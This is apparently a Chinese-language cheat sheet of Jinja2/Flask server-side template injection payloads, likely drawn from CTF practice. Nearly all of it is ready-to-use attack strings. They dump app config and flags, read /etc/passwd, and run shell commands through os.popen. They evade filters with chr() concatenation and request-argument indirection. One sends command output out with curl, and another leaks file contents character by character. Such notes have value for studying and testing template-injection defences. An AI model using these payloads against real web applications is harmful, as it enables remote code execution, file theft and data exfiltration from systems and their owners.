在url后面,或是参数中添加{{ 6*6 }}
,查看返回的页面中是否有36
‘‘.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]
{{ config }}
{{ url_for.__globals__[‘current_app‘].config[‘flag‘] }}
{{ get_flashed_messages.__globals__[‘current_app‘].config[‘flag‘] }}
{{ self.__dict__ }}
{{‘‘.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__[‘os‘].listdir(‘./‘)}}
‘‘.__class__.__mro__[-1].__subclasses__()[40](‘filename‘).read()
‘‘.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(‘ls‘).read()
[ ]
__mro__[2]
== __mro__.__getitem__(2)
先获取chr函数,赋值给chr,后面拼接字符串就好了:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
借助request对象(推荐):
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
执行命令:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
__
{{ ‘‘[request.args.class][request.args.mro][2][request.args.subclasses]()[40](‘/etc/passwd‘).read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
{{}}
可以利用{%%}标记
{% if ‘‘.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen(‘curl http://127.0.0.1:7999/?i=
whoami‘).read()==‘p‘ %}1{% endif %}
相当于盲命令执行,利用curl将执行结果带出来
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
{% if ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/test‘).read()[0:1]==‘p‘ %}~p0~{% endif %}
github上的一个工具:tplmap
我试了下,感觉不是特别好用 = =
https://p0sec.net/index.php/archives/120/
https://blog.csdn.net/qq_40657585/article/details/83657220
https://www.cnblogs.com/R3col/p/12709614.html
https://www.cnblogs.com/R3col/p/12696536.html
原文:https://www.cnblogs.com/R3col/p/12746485.html